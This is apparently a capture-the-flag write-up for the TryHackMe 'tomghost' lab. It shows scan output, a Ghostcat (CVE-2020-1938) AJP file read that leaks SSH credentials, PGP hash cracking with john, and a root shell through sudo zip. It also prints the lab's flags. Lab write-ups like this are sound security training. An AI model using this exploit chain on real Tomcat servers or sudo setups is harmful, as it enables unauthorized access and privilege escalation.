

***tomghost***



Title **tomghost**

IP Address **10.10.208.61**

***[Task 1] Flags***



click me	click me
#1	Compromise th

THM{GhostCat\_1s\_so\_cr4sy}

click me	click me
#2 500	Escalate privileges and obtain root.txt

THM{Z1P\_1S\_FAKE}

scans

NMAP:

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 7.2p2 Ubuntu
4ubuntu2.8 (Ubuntu Linux; protocol 2.0)			
ssh-hostkey:			
2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)			
256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)			
256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)			
53/tcp	open	tcpwrapped	
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)
ajp-methods:			
Supported methods: GET HEAD POST OPTIONS			
8080/tcp	open	http	Apache Tomcat 9.0.30
_ http-favicon: Apache Tomcat			
_ http-open-proxy: Proxy might be redirecting requests			
_ http-title: Apache Tomcat/9.0.30			
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel			

NIKTO:

- Nikto v2.1.6	
+ Target IP: 10.10.208.61	
+ Target Hostname: 10.10.208.61	
+ Target Port: 8080	
+ Start Time: 2020-04-17 10:08:54 (GMT-4)	
+ Server: No banner retrieved	
+ The anti-clickjacking X-Frame-Options header is not present.	
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS	
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type	
+ OSVDB-39272: /favicon.ico file identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community	
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS	
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.	
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.	
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.	
+ OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.	

DIRBUSTER:

- /
- /docs/
- /examples/
- /docs/api/
- /docs/architecture/
- /docs/config/
- /examples/jsp/
- /examples/servlets/
- /docs/index.html
- /docs/comments.html
- /examples/index.html
- /docs/developers.html
- /docs/introduction.html
- /docs/api/index.html
- /docs/changelog.html
- /docs/architecture/index.html
- /docs/config/index.html
- /docs/config/resources.html
- /examples/jsp/index.html
- /docs/architecture/overview.html
- /docs/config/service.html
- /docs/setup.html
- /docs/config/server.html
- /docs/config/engine.html
- /docs/building.html
- /docs/config/http.html
- /examples/servlets/index.html

***vulns***

# ghostcat

CVE-2020-1938	7.5	<a href="https://vulners.com/cve/CVE-2020-1938">https://vulners.com/cve/CVE-2020-1938</a>
CVE-2019-17569	5.8	<a href="https://vulners.com/cve/CVE-2019-17569">https://vulners.com/cve/CVE-2019-17569</a>
CVE-2020-1935	5.8	<a href="https://vulners.com/cve/CVE-2020-1935">https://vulners.com/cve/CVE-2020-1935</a>

***exploiting user***

```
python3 ajpShooter.py http://10.10.208.61:8080 8009 /WEB-INF/web.xml read
```

00theway,just for test

```
[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261
```

```
<?xml version="1.0" encoding="UTF-8"?>
```

<!--

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```
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
    http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
    Welcome to GhostCat
    skyfuck:8730281lkjlkjdqlksalks
  </description>

</web-app>
```

---

SSH login with skyfuck:8730281lkjlkjdqlksalks

**ssh skyfuck@10.10.127.191**

password: 8730281lkjlkjdqlksalks

---

cat /home/merlin/user.txt

**THM{GhostCat\_1s\_so\_cr4sy}**

## *exploiting root*

transfer pgp and asc files and use john for password hash

**scp skyfuck@10.10.143.167:/home/skyfuck/\* .**

---

**gpg2john tryhackme.asc > hash**

---

**john -wordlist rockyou.txt hash**

**use cracked password of alexandru to decrypt PGP file**

**gpg --decrypt credential.pgp**

---

login as merlin with new password and run **sudo -l**

---

sudo access given to ZIP

**TF=\$(mktemp -u)**

**sudo zip \$TF /etc/hosts -T -TT 'sh #'**

**sudo rm \$TF**

---

**cat root.txt**

---

**THM{\*\*\*\*\*} gpg -h**